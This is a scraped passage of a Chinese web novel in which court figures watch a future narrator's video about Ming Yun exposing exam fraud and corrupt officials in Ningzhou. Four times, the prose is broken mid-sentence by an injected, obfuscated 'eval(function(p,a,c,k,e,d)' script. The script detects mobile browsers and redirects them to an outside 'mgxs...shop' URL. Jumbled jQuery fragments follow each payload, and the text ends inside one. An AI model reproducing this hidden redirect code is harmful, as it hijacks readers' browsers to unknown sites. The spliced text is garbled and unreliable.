“宁德三十年,明昀在与林琼约见之后,写了一封奏折呈给皇帝,之后又进宫面见宁德帝,亲自请旨暗查宁州众部。”】 8. 赶赴 天幕里的话与廊下的声音重合,恍惚间让众人错觉此时便是天幕描述中的那一幕。 明昀抬头望了一眼天空,心中同样有些时空重叠的错乱感。 怪不得你们博主能把观众群体发展到古代呢……明昀胡思乱想道,天幕里所说的行为简直就像他做的一样,真实度高得要命。 ——当然了,也确实是他做的。 那头,皇帝听了明昀的请旨也并不意外,他亲侄子是什么性格他还不清楚吗? 到底派人前往宁州的命令早已下了,他摆摆手叫明昀放心。队伍组织快一点的等不到天黑就能出发了——这事已经天下皆知,就算是做给黎民百姓看,他也并不会有一点手软。 【“但问题是,你既然没有证据证明别人勾结舞弊,那要是猜错了可怎么办呢?”】 “是啊,堂弟。偏听偏信终究不是好事啊。”四皇子恰在此时插了句嘴,语气温和又尽显得忧心忡忡,似乎完全在为明昀考虑。 “虽说有小历在此可知此事确为真,但宁德三十年可没有小历在,怎好如此鲁莽行事呢?” 大皇子一听,觉得非常有道理。 他也由衷地为明昀担心起来。 虽说明昀当了皇帝这事儿很不可思议,但看小历那一连串的形容词,就可见明昀干得很好!更何况现在皇帝还活着,之后的事情自有皇帝决断,轮不到他去操心。 他此时只操心他的小堂弟明昀。 大皇子也道:“四弟所言有理,堂弟你心善仁义,但也要注意别被人骗了啊!” 明昀:“我吗?” 他转头瞅瞅皇帝,试图让皇帝管管他儿子,可皇帝津津有味地看着天幕就下酒菜,完全不在意他们小辈之间的事。 唉,瞧瞧,知道去哪追查罪臣的人就是洒脱啊,都不着急上火了,好像前头生气的那人不是他似的。 大皇子见明昀反问,十分干脆地点头应是:“对啊!那姓林的学生写了你就信,直接上疏给父皇要调查,要是冤枉了人家,被父皇骂了怎么办?” 明昀无奈一拱手,满目纯真,先对大皇子道谢:“殿下说的是,多谢殿下关心,但这不是还有皇伯父、我爹娘和各位殿下在吗,我怎么会被骗呢?” 大皇子一听,觉得他这话也非常有道理。 大皇子自己是皇帝最年长的孩子,与明昀的年纪差了许多岁,几乎算得上看着明昀长大的,十分清楚皇帝楚王等人对明昀的宠爱程度。 “……你说得对!”大皇子立刻道,“大哥我也会看着你不被骗的!” 明昀微笑点头。 接着他又转向四皇子,可神情就没有那么诚恳了。 他总觉得四皇子要是去当妃子也是一把宫斗的好手,就这几句话就要给人上眼药的语言风格、实在很有宫廷电视剧的氛围。 他道:“四殿下就多虑了,弟弟我虽然不像四殿下如此经验丰富、见识广阔,但应当也是深思熟虑过的,否则这事情又怎会出现在史书之上呢?” 太子听见他的装货四弟又来暗戳戳诋毁堂弟,跟着帮腔:“是啊,倒显得四弟你思虑不全了,不过四弟爱护昀弟的心思孤是懂的。” 四皇子不说话了。 【“宁德帝听了明昀的禀报,就是这么问的。” 小历煞有其事地举起一只手指,左右摇晃几下,道:“这就小看咱们文帝了不是?明昀既然敢把这件事挑到宁德帝面前,自然是已经确认过真假了,虽然不知道那时候没什么势力的他是怎么办到的哈——但小历我也是堂堂迪化爱好者!怎么办到的你别管,反正他就是知道!” “不过从另一个角度来说,既然这考生都敢往卷子上写了,那这事儿不是十有八九吗?” “要是蓄意栽赃,谁会写这么隐蔽啊?要不是明昀翻出来落灰的卷子,这东西都在库房放了好几个月了,谁又能知道呢?”】 皇帝沉思,皇帝琢磨。 “这迪化是何意啊?” 众人沉默,默契地一起摇头。 楚王迟疑道:“约莫是后世的什么俗语典故吧?” 在场唯一一个知道这词什么意思的明昀沉默不语。 坐在明昀身边的太子却不在意那个离谱的词汇,时移世易,以后的人连字形都不跟现在一样写了呢。 他还是更在意小历的话,与明昀嘀咕道:“哎,此言差矣,若是故意栽赃放入库房,几个月后再让人打扫的时候‘不经意’地翻出来,那效果更好啊。” 明昀噎住。 “皇兄,你是在讽刺我吗?” 太子睁大眼睛,茫然:“啊?我没有啊。” 他好像只有在针对兄弟的时候很聪明,明昀心想。 而自己不在这个范围内。 【“那既然这案子之后被明昀解决了,此时与宁德帝对话的结果自然不言而喻,宁德帝同意了调查宁州乡试。” 小历说着,那片闲置了好一会儿的白色分屏又亮了起来,其中浮现出人影。 “这一段故事很受编剧的喜爱,市面上几部有关晋文帝的电视剧几乎都演绎了这个片段。” “不过受限于版权问题,本期视频里就不给大家展示了,如果各位观众朋友们有兴趣的话,可以去自行观看哦~”】 明昀沉默一下。 ……把他写进电视剧里吗?演他吗? 听了这一段话,明昀终于后知后觉地感到了被后人解读的些许尴尬……毕竟这和史书记录还是有微妙不同的。但同时,又让人有一点点不易察觉的骄傲。 ——妈妈,我上电视了! 廊下这一群古代人暗自思索了一下这电视剧是什么东西,但有“演绎”这词搭配,其意义并不难理解。 天幕上,小历虽说不给大家展示电视剧,但随着口头讲述出这段剧情的内容,旁边分屏上也呈现出了皇宫里的场景和几个人影来。 这时众人才似有明悟,这后人其实并不能看见此时景物,这影像只是神迹“天幕”单独弄出来的。 明昀觉得它还挺人性化的,这影像很适合辅助理解。 【空白模糊的屏幕随着亮度的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408518|200612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 提升,画面也愈来愈清晰,众人一见便知道这画面中的地方是宣政殿,金碧辉煌,庄严肃穆。 ‘明昀’站在殿中,正对着坐在上首书桌后的皇帝讲述此事的来龙去脉。 他说道:“陛下,此时事关重大,臣请清查宁州与礼部官员、以及赴任宁州的各届乡试主考。” ‘宁德帝’问道:“此事尚不知真假,只是林琼一人之言,你确定吗?” ‘明昀’神色平静,语气也四平八稳:“是,臣确定。” “臣宁信其有,不信其无。否则平白遭受伤害的人该如何呢?” ‘宁德帝’看着他,沉默片刻,幽幽叹了口气。 “你也跟你父王一样,一说起正事就爱用这些臣来臣去的称谓。” “罢了,既然你如此坚决,朕就下旨令刑部彻查。”】 【“这里还要提及一个小知识点。”小历还未说完的故事一停,插话道:“晋朝自建朝时起,皇帝就允许‘风闻奏事’,简单来说就是允许御史毫无证据地弹劾大臣。” “今天走在街上听说这个人品行不好?弹劾!昨天吃饭时听说那个人贪污受贿?弹劾!” “有没有这回事你别管,反正先弹劾了再去搜查核实。” “但风闻奏事这一制度也存在相当大的弊端,三皇之乱时,因为风闻奏事而被构陷害死的大臣不计其数,直到晋文帝上位才有所改革——老规矩,这部分之后再讲。” “某种程度上来说,明昀这次的行为也属于这一范畴,没有证据就直接告到了皇帝跟前,甚至都不是在朝会上告的。但是显而易见的是,明昀并不希望按照这套流程走。”】 随着小历的话,分屏上的影像再次流动起来。 【“陛下下旨,岂不是打草惊蛇?” ‘明昀’直截了当地婉拒了皇帝,“宁州距离京城数百里,陛下所派旨意层层下发,恐怕还未走到半途,对方京中同党已送到信去、早早处理掉罪证了。” 这话也有些道理,若是宁州真有人勾结舞弊,为防事发,必定会收买同盟。 “那依你之见如何?” ‘皇帝’问完了这句话,就见明昀微微正色,道:“臣请大臣与侍卫乔装打扮,假借臣外出游玩之名,随行前往宁州调查。” “正好,臣上个月想要外出游玩的事情已经过了您与父王的手、弄得朝臣皆知,此时出京,必不会惹人怀疑!”】 皇帝沉默了一会。 太子诧异,侧身看向明昀:“昀弟你要亲自去宁州?只带那几个侍卫顶什么用,何必如此涉险啊!” 楚王妃也踱步上前,紧张地握住明昀的手腕。 “是啊,昀儿……你,哎!” 她叹息一声,却不知说什么好。 即使知道她儿子以后很厉害,可他年纪太轻,又有天生的病症,叫她怎么放得下心。 【天幕里的‘皇帝’也有些猝不及防,皱起眉头:“你要去宁州?这怎么行!” “怎么不行?”‘明昀’反问,“这事情是臣捅出来的。”】 9. 查抄 【“就这样,明昀最终还是说服了宁德帝,次日就整合人手出了京城,直奔宁州而去。” 随着小历的讲述,分屏里的画面像是开了时间跳跃大法,极快地展示了‘明昀’说服家人、整理行李又赶赴宁州的几个片段。】 小历讲故事的语调四平八稳,听者却大多心绪不宁。 廊下,众人对明昀亲自前去宁州的决定都略有微词。 太子蹙眉道:“宁州地界既然出了这样的事,官场风气定然不好,又是那些人积年累月经营的地方,你一个人去多危险?” “太子殿下说得对。” 楚王破天荒地跟着开口教训孩子,道:“你想要查案子肃清奸贪,这无可厚非,但也要注意自己安危。” 皇帝看起来也想说点什么,但转念一想,这案子的结局早已经被小历剧透过了。 若是事情不顺利,小历又怎么会以一句天才的形容调侃一言概之呢? 更何况瞧那片段里,明昀也妥协一步,多带了许多侍卫。 皇帝没再责怪他不顾安危,只自顾自提点了他一句: “那些大臣是臣子,臣子就是用来支使的,怎么能事事都自己做。” 明昀本想宽慰几句太子楚王,皇帝这句话却让他微微一顿,只好咽下了前面的话,对皇帝拱手应是。 “是,侄儿受教。” 明昀心想:在现在这个情况下、跟他说这些话,不觉得奇怪吗? 他又不是太子,那臣子也不是他的呀。 这一来一回的话说完,这地方就冷场了。 皇帝态度寻常,太子也还没回过味儿来——也许是因为从前在他心里,明昀就是他的“楚王”。 皇帝给楚王参政与调用大臣的权利,若他掌权,他当然也会这样对明昀,皇帝把明昀养在东宫不就是为了这个吗? 众人却摸不清楚皇帝说这话到底是有什么用意。 只是觉得明昀不该事事亲为?还是听了这神迹的讲述,有了别的考虑? 楚王在和楚王妃互相打眼色,几个年纪大的皇子——除了大皇子,要么神色凝重的在沉思,要么愤愤不平地在心里骂人。 幸好,小历讲话的声音很吵闹,这里的沉默一点儿都不显尴尬。 【“明昀这人还是很有谱的,他是想去查案,不是想去送死——更何况自己又是第一次做这样的大事,万一途中被别人发觉,总不能真靠几个侍卫跟人家一州之力对战吧?” “临走前,明昀向皇帝讨要了两份圣旨,一份是找到证据就先斩后奏,一份是调用临近州郡士卒兵马。”】 这话一出,家长们终于舒了口气。 楚王妃叹道:“还算是心里有数。” 【小历说完这句,忽的用手里合着的扇子柄敲了下桌面,“砰”一声响,像是个说书先生似的抑扬顿挫地继续接话。 “去了宁州呢,咱们晋文帝也是好起来了!犹如游龙入水、猛虎归山——好像到了地方就自动觉醒了权谋技能点似的,只花了区区一个多月就将宁州舞弊案的团伙整个儿掀翻!” “这事儿站在宁州官员的角度也是挺好笑的,好好的坐在家里数钱呢,突然来了个很受圣宠的世子要来玩,你接不接待?当然要接待了!” “屁颠屁颠地陪着人到处逛,又是介绍乡土人情又是导游名胜古迹,整得那是好不热闹。” “当然了,也不是没有人想试探试探明昀,怀疑他来宁州的目的不纯——但试探来试探去,不仅没察觉出明昀的不对,反倒被明昀套出了罪证来。” “更有甚者,还有人突发奇想,觉得明昀年少又爱玩,说不定是个好忽悠的——给世子也送点钱试试!” 小历扇子一挥,摆出来一排史料。】 宁州,一群狼狈为奸的官员聚在一起商讨着出路。 本就是焦头烂额心急如焚的时候,又从小历口中听到如此令人发笑的昏招,顿时怒不可揭。 这事儿竟然是真的! “……到底是哪个蠢货干的!” 领头的那位忍不住狠狠拍了一把桌子,却除了手疼没有得到别的半点儿用处。 其实他心底早就知道,全都完了,这时候骂一骂手下,也不过是迁怒一下他人宣泄自己情绪罢了。 可要是不骂出去,他觉得自己在被朝廷抓进大牢之前就要先被气死了。 心底的恐惧和愤怒交织,他身形摇摇欲坠。 眼下,只能期盼着这神迹里的人不要说出案件细节,更不要说出幕后之人的名字——只要不说,他就还有操作的余地,在京城的人抵达之前,他还有寻求脱罪的机会。 只是这样的概率又有多少呢? 眼看着天上那人摆出来的一堆史料,上面白纸黑字的写着明昀的调查、宁州的底细…… 【随着小历摆出来的史料记载,分屏里的影像也在一段段地播放。 众人便看见‘明昀’到了宁州后挨个接见官员,打着伞去各处巡视,时不时找些文人来组个宴席诗会,知道的人知道他是来查案的,不知道的只会当他在玩乐。 几段过去后,画面中忽然出现了一位便装的官员,笑容谄媚,从宴席上与‘明昀’说了什么。 宴后,他邀请‘明昀’去了另一处阁楼。 小历继续道: “当然了,给明昀送钱这事儿肯定没成,但明昀虽然推脱,态度却并不严厉,对方只以为是他年纪小恐遭了长辈责骂,相处反而更放肆了——这人之后也成了明昀抄家时抄的最顺手的一位。” “不过该说不说,这位自作聪明的官员虽然没能成功贿赂明昀,但他成功青史留名了呀!” “虽然留的不是什么好名声,名字也没被几个人记住,可大家都知道他是‘那个用金器贿赂晋文帝的人’,哎呀——真是事儿红人不红!”】 宁州的议事厅里,才从勃然大怒中喘匀了气的官员瞥见天上那满脸谄媚的人的样子,登时转头去看身边的下属,不等对方反应,反手抄了一樽花瓶砸在了对方脑袋上。 【分屏影像转眼间,已经跳到了下一个片段。 小历继续道。 “这件事的后续也很好猜,相信大家也都知道了——晋文帝明昀在宁州待了一个半月,随后向皇帝写了封奏折发出去,第二天就把宁州涉事者全都围了。” 画面里,‘明昀’单手打着伞站在一处华贵非常的府 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408519|200612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邸前,冷眼看着他调来的兵卒将府邸围起,破了门,从里头抓出来一个形容狼狈却满脸愤怒的老臣。 老头叫嚣着:“世子殿下!我等身为臣子为陛下尽忠职守,不曾有半点懈怠!你起兵围困我等,可是要造反吗!?” ‘明昀’只瞥了他一眼,不做回答。 一个又一个原本尊贵的老爷们从自己家里被逮出来,很快又随着几道圣旨的宣告而被脱下官袍、套上囚服,就近押进了往日他们作威作福过的宁州衙门的大牢,拷问审讯。 而后就是抄家。 小历道:“由于这次案件牵扯到的官员实在太多,整个宁州的官位空了一半,礼部、吏部、甚至刑部都有不少人被连坐贬官,宁州本地的豪强氏族一扫而空、全员覆没。明昀抄家抄了一大堆东西 ,就算补偿过了宁州百姓与受害者们,剩下的部分仍大大充实了国库和皇帝私库。” “我们前面所提到的、试图贿赂明昀的那位官员尤甚。他是个金子爱好者,府中抄出数百件华丽精致的金器。” 分屏里的画面随之而动,变换成了这位抄家时的情形。 兵卒进了内室,绕过屏风,就见之后的屋子装扮雅致又华贵,帷幕都是绣了金线又点缀珍珠的名贵纱料。 可最耀眼的却当属摆在内室中间的一尊雕刻摆件。 这摆件约有半米多高,其上雕刻了极其精细细密的花纹,粗看一眼就能看到有数不清的仙人、松鹤、亭台楼阁、山峦流水。 最主要的是,这是一座纯金所制的摆件。 其他小件,类同此物,皆是金子打造,数不胜数。】 皇帝沉默片刻,忽然冷笑一声。 他都没有半米多高的金器!! “真是好啊!” 皇帝怒极反笑,一抬手也猛地拍了把桌子。 “区区一个州的地方小官,竟也有如此富有的私产,这是贪了多少钱?除了科举之事,又犯了多少罪?” 当朝承袭前朝行政区域划分的制度,又略做修改,如今京城外以州郡县做三级划分,虽说州已是最上一等的区别了,但也要受京城中央的监察牵掣。 能悄无声息发展到这种程度,只怕有不少“挚友”了。 “怪不得连六部都贬了人呢。” 皇帝冷笑道,“手伸得真是长啊。” 随着小历一句句的话说出口,屏幕下的史料也一张张放出。略有些模糊的字迹记载着这一案中涉事被处罚的官员名字、罪名与处罚。 几个被召来廊下的内阁大臣之前见势不妙,早已禀报过皇帝,找来一群小吏誊抄那些史料。 此时天幕放出了如此完整的名单,翻页的速度却快得离谱,像是根本没考虑过观众怎么看得完似的。 ——其实小历提过,想看的观众可以暂停浏览,可是古代人没有暂停键。 一群人只好奋笔疾书,把毛笔墨水都写出了火星子。 明昀眯着眼去看那些史料上写的东西,余光里却瞥见侧方有个人离开座位,扑腾一声跪下。 是四皇子。 他面色苍白,眼含热泪,悲戚又强忍着似的看着皇帝,哽咽道。 “父皇,儿臣有罪!” 10. 结束 四皇子跪在地上,一时间将所有人的目光都吸引了过去。 “哟,四弟这是怎么了?” 大皇子诧异,脑子还没转过弯来,嘴里的话却已经吐出去了。 “这宁州案讲的好好的,你又请的哪门子罪……” 话说完了,他也反应过来了,猛然被自己吓了一跳。 大皇子讪讪住嘴了。 明昀从天幕上收回视线,偏头打量一眼四皇子。 四皇子与宁州案有牵连? 可这时候请罪,也不像是他的作风啊。 四皇子全然就当大皇子不存在,跪在地上端端正正地给皇帝磕了个头。 “儿臣有罪——从前顾念亲情,与礼部侍郎交往甚密,却未曾察觉其不轨之心,致使薛侍郎罔顾律法、助纣为虐,儿臣实在惭愧。” 众人闻言,终于也注意到了天幕上的史料中,写了礼部薛侍郎的名字。 既然写了名字,定是参与了宁州案中。只是罪名并不很重,不过收受贿赂,行一行睁眼瞎的方便。 见状,众人也终于明白了四皇子这一番唱念做打究竟是想要演哪出了。 四皇子无非是提前跟皇帝表表忠心,与自家娘舅划清界限,表明自己可不知道宁州的事啊——他无辜得很,只不过是没有看清罪人的真实嘴脸,再怎样也不能怪到他身上。 太子无语。 大难临头各自飞,让人瞧不上眼。 皇帝原本正在气头上,恼怒于宁州部众的嚣张气焰,此时一被儿子打岔,心底的怒火也就断了。 他垂眼打量着这个儿子,就见他神情凝重却坦荡,目光沉痛又带了点泪光,将请罪的态度表现得格外好。 皇帝没有立刻说话,也没有叫他起来。 四皇子当真不知道薛侍郎行事不干净吗? 自己这个儿子,皇帝自认为还算了解。有些与太子相争的野心,热衷于拉拢朝臣,手段却不怎么好看。 且不说皇帝就如小历所说,从未动过废储之心,就算要废,新的储君也轮不到四皇子。 “你既说你不知道,又怎会是你的过错。都是罪人狡猾罢了。” 皇帝沉吟片刻,才缓缓开口。 “可再怎么说,你也是朕的儿子,薛漳身为皇子外戚却明知故犯,若是带坏了你才是真的罪该万死。” “既如此,先将礼部侍郎薛漳革职收监,之后与宁州案一并处置吧。” 四皇子身形顿了顿,又俯身道:“谢父皇。” 竟比宁州案时判得还要重了些。 明昀回想起早翻了页的史料,上面所写礼部侍郎不过是贬了职位,还远不到革职的地步。 四皇子这一出还不如不唱呢。 天上,小历的话也未停。 【“那些金器做工精细,后来被明昀收缴,又将其中最震撼的那座‘仙人境’献给了皇帝,之后一直在皇宫里留到王朝覆灭,现在也在京城博物馆全年展出,感兴趣的朋友们可以去看哦。” “抄完了家,大家是不是以为这件事就结束了?” 小历撤掉了屏幕上的史料,笑着将话题转到下一阶段。 “当然没有啦——明昀在宁州找到了足够多的证据,就直接动手将人抓了起来,可这些证据驳杂,不仅限于舞弊一案。” “因此,明昀直接将人押入牢中,又让他从京城里带来的大臣当场开审——” “于是过去了半个月,明昀带着新的一批罪臣,浩浩荡荡回京复命去了。”】 众人沉默。 有了先前“宁州官位空了一半”的铺垫,大家对小历刚说的话很有准备。可再怎么说,那么多罪人一起往京城里送,场面也还是过于震撼,让人一时失言。 四皇子刚失去了舅家助力,这会儿没心情说话。 另一个五皇子粉墨登场,嗤笑一声,不知道是夸是贬地开口道: “世子还真是好大的威风,初次办事就有如此政绩,换个人来恐怕已升做了刑部尚书了吧。” 明昀只当他真的是在夸,淡笑道:“殿下谬赞,可不要开我的玩笑了,宁州案也不是我一个人的功劳——更何况,尚书大人就坐在这儿呢,我可不抢人家的位置坐。” 默默坐在一旁的刑部尚书闻言一拱手,回了几句客套话。 五皇子却凉凉道:“是啊,你有更好的位置呢。” 【小历:“回京后明昀直接填满了刑部大牢,刑部官员加班加点了好几天,才终于将宁州案梳理清楚,一群朝臣又吵了几天,才终于定下所有人的惩罚。” “这件案子告一段落,接下来就是论功行赏了。” “明昀不用多说,皇帝封了个东宫职位又一股脑地赏了许多好东西,跟去宁州的臣子侍卫也都得了奖赏。” “除此之外,林琼也得了赏赐,赏他检举有功,外放时官高一级,直接走在所有同届前头了。” “说到这里,是不是也有同学想起来不对劲了?小历小历,你不是说明昀和林琼的关系始于救命之恩吗?这哪救了呀?” “别急哈,正要说呢!” 分屏影像里随着小历的话再度更换了场景,城墙青柳,正是京城城门外。 ‘明昀’站在树荫下,笑眯眯对跟前的青年道:“不负所托,宁州的事我已经调查清楚了,涉事的官员都已进了刑部,想必不日就要定罪了。” “怎么样?你可安心了?” 站在他对面的青年面容端正,神情肃穆,闻言一撩衣袍,就在众目睽睽之下给明昀跪下道谢,吓得明昀下意识伸手去扶。 “真相大白,臣的朋友想必九泉之下也能放下执念,臣自然也安心了——还要多谢世子殿下!” 此人正是林琼。 “若非殿下相信我,又亲自去宁州涉险,如此骇人听闻的大奸大恶不知何时才能铲除。” “安心便好,其他自不必多说了。” ‘明昀’道。 “幸好时间也还凑巧,赶在你外放为官之前让你知道——对了,你去什么地方?” 林琼拱手作答:“泷溪。” 他说完,忍不住又叹了口气,“与臣的家乡宁州正是相反的方向,否则臣还想回去宁州,给故友上上坟,也好告知此事结果……可惜了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17408520|200612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这有什么的。”‘明昀’道,“我帮你说一声,你去就是了。要是担心耗时太久,我让人送你,比你自己赶路快得多。” 小历接话道:“就是这么一件小事!” “明昀多派了几个侍卫车夫,又去跟皇帝说明,让林琼绕路去宁州上坟后再赶去赴任——就是这么一点事,帮林琼躲开了埋伏在他去往泷溪必经之路上的刺客。” “毕竟有句话叫百足之虫死而不僵嘛——宁州家大业大,就算不是涉事官员,也总会有想要为他们报仇的姻亲旧故。” “这样两句话的事情便有了救命的恩情,谁看了不说一句好有缘的cp!”】 众人疑惑。 “谁批何意啊?” 明昀:“……” 【小历咳嗽两声。 “经典拉郎哈,可惜是冷门中的冷门,晋文帝的独美标签太重,每一个cp向都比北极还冷……咳咳咳!不对,我们可是正经的史实向娱乐性解说——咱不说这个了!” “宁德三十年的这一起大案,是晋文帝明昀入朝来的第一次亮相,也成功让宁德帝意识到了明昀身负的才华与天赋,正式开始花大力气培养他。” “这一年,明昀十六岁。” “这个时候的他还有很明显的做臣子的思维,甚至具有一些理想主义——不知道其他大臣什么情况,不信任他们是否会全力以赴,于是就想要亲力亲为,亲自去完成自己想要达到的目的。” “不过随着三皇之乱的发展,他的思维也完成了蜕变,好像在某一天忽然就悟了怎么才能平衡权势、怎么才能掌控臣子、怎么才能当得好皇帝——”】 【小历冲着屏幕挥了挥手。 “那么我们晋文帝系列的第一期视频就要结束了哦,欢迎大家催更第二期,来看看晋文帝明昀的成长、看看宁德末期有关三皇之乱的预兆——” “好啦,这一期视频到此为止,大家再见哦!”】 话音刚落,画面里的人影突兀消失,紧接着整片方形天幕都黑了下去。再下一秒,天幕咻的一下消失不见。 空空荡荡的天空,仿佛那“神迹”从未出现过。 天下人顿时一片惊呼,忍不住互相确认过方才那讲了许久的神迹并不是自己的幻觉,才松了口气,而后又彼此期待着下一次的天幕开讲,也好做个做活时打发时间的乐子。 皇宫廊下沉默几秒,皇帝起身。 “天还早,诸位爱卿与朕一同去宣政殿议事吧。” 几位内阁大臣齐齐应是,楚王也自然地融入其中。 “此次有这神迹揭露,宁州罪臣得了消息,朝中的人却还要赶路,怕是麻烦得很……” 皇帝听着听着转身往宣政殿的方向去,脚步刚踏出去却是一顿,转头看向小辈那一边,招了招手。 “昇儿也去。” 太子拱手应是。 “昀儿也来,晚上也不必回去了,东宫里你从前住的地方一直打扫着,忙完便与你堂兄一同回东宫歇息吧!” 明昀愣了一下。 但只顿了一秒,明昀也行礼回道: “是,多谢皇伯父。” 11. 争吵 皇帝既然要走,这家宴自然也办不下去了。 倒不是说其他人聚不到一起,只是眼下这样的情况,无论是谁都没有那个心情,当做什么都没发生一般、坐在一起营造亲密和乐的气氛。 其余人虽神色各异,各有各的心思,但再如何心乱如麻,此时也都站起身来行礼恭送皇帝移驾。 楚王妃趁此机会上前拉了下明昀的手,轻声嘱托:“你先去吧,一会儿我让人把你起居要用的东西送过来。” 明昀点点头,来不及多加寒暄,只谢过他娘就匆匆跟上皇帝的步伐离开了。 被叫来的一群内阁大臣凳子都还没坐热,也不得不强撑着酸软的双腿起身,跟着奔去宣政殿议事。 一群人走后,皇后悠悠叹了口气,转头吩咐人收拾了廊下这堆桌椅餐饮,又见着旁边的楚王妃神色略有些担忧,上前低声安慰道。 “弟妹莫担心了。” “你也累了一天,跟我回宫去歇歇吧,等九弟忙完接了你,你再回去。” 宣政殿。 “陛下,此事已被神迹广而告之,天下人全都有目共睹,此时正应该立刻将人捉拿归案,以安民心啊!” 一入殿内,刑部尚书当即就跪了下去,大声上奏。 巧得很,他们到宣政殿时,早先被皇帝派出去打探的人也回来了,在这有限的几个时辰里能跑多远跑多远,都到了京郊边界外边儿。 那里的百姓也都在仰着头看天,这样看来,想必这天幕就是简单直接地“邀请”全天下共赏了。 正因此,刑部尚书所说也不错。 皇帝也是这样想的。 全天下的百姓都看见了,就没有不处理的可能。 “陛下。” 另一位臣子忽然上前,也跟着开口:“虽有神迹现世,可此时只有罪名,并无实证……” 明昀站在一旁看着,并不着急出声。 他平静地看着殿中各位大臣说着说着就开始争论,争着争着就吵起来了,若不是顾忌着身处大殿之中,只怕吵着吵着就要试试动手呢。 明昀顿时深感当皇帝的不易。 这事儿其实没有那么多好争论的,全大晋人估计都看了天幕,都知道了宁州大案,若不处理岂不是寒了人心? 另一派呢,他们并非不处理,只是主张略保守些,天幕虽说了,但他们也是真的没证据,倒不如先扣押、搜证,理清了所犯何罪再秉公执法——毕竟离真正的案件爆发还有一年时间,那“史料”上的有些人说不定还没动手呢。 自己没做过(虽然就算做了也会说没做)的事,却要因为未来自己做了而受罚? 这说出去似乎也不大好听。 乍一听,似乎两方都很有道理。 不过明昀却不大喜欢后者的做派。 正思索着,旁边站着的太子悄悄凑近了些,压低声音对他说道: “那是李大人,听说他的妻子的妹妹嫁去宁州了。” 明昀顺着他的指引,看向那位最先出口反驳刑部尚书的大臣。 “旁边那几位,和李大人关系不错。其中那位赵大人的女婿张御史,前段时间弹劾过刑部修正律条一事……” 明昀此前没有正经参与过朝堂诸事,就算在东宫也因为年纪尚小,只跟着其他皇子公主们一起在读书。 此时随着太子的几句介绍,这大殿中的形势也豁然明朗起来。 他想起上辈子,朋友推荐他玩过一些模拟类的游戏,总是会因为贬了一个人的官而掉了一排人的好感度。 如今看来,倒有些相似之处。 —— 家宴潦草收尾,长辈们也都走了,剩下的这些皇子公主自然也要走。 一群人三三俩俩地分开了,各自回各自家去。 大皇子脑子转得慢,还在回味小历的最后几段话,走在路上也不由得咋舌。 “这小历说得确实不错,震惊朝野啊!竟然抄出来那么多钱。” “还有咱堂弟也是,真厉害!我看那天上的堂弟一直吃喝玩乐,到底是怎么查出来的呢?” 五皇子冷冷道:“大哥大惊小怪了,人家既然是天才,自然有人家的手段。” 大皇子没察觉出他口中的讽刺,反倒觉得他是崇拜明昀,当即揽住了五皇子的肩膀,大力拍打着他的胳膊。 “哎!瞧五弟你说的,堂弟是做大事的,当然天才了,但五弟你也不差嘛——” 五皇子只觉得胳膊生疼。 “……大哥!放开我!”他恼怒道,“谁要跟他比!一个十五岁的小孩……” 他忍了忍脾气,还是没说出后半句来。 “不说了,我要回府去了。” 五皇子道。 “好了好了,不逗你了!” “如今入宫一趟多有不便,来都来了——” 大皇子拦住他,瞥见其他几个兄弟姐妹相伴往后宫的方向去了,心思一动,当即说道。 “不如一起去给母妃请个安吧。” 五皇子闻言,也改了主意。 正好,去问问他母妃的意见也不错。 待到宣政殿商量完了事,天也擦黑了。 楚王被皇帝留在殿中,似乎还有别的话要聊。明昀和太子结伴从宣政殿出来,脚步匆匆地往东宫去。 说来也是无奈,家宴上刚开宴时,两个人只顾着聊天喝饮料,也没吃什么东西,如今看了一场天幕,又被拉去听了一个多时辰的争论,两个人都觉得饿得要命。 还是快回东宫去垫垫肚子比较好。 半路时,两个人便遇到了从后宫出来的几位皇子。 “哟,三弟,堂弟,你们这是忙完了?” 大皇子刚见过自己的娘,看着心情颇好。 “是啊,大哥这是要出宫去了?” 太子笑着点点头,扫了一眼对面,就见大皇子身后还跟着四、五与六皇子,想必都是一道儿去后宫请安的了。 皇帝膝下有九个儿子,除了二皇子早逝,其他几个都好好的养大了。 太子行三,大皇子与四五六皇子都已及冠,出宫开府去了,八皇子九皇子倒是还小,尚留在宫中居住。 “哟。” 这一扫,太子就又看见四皇子了。 “四弟这是怎么了?瞧着心情不怎么好啊,可是薛母妃那儿有什么事?” 四皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 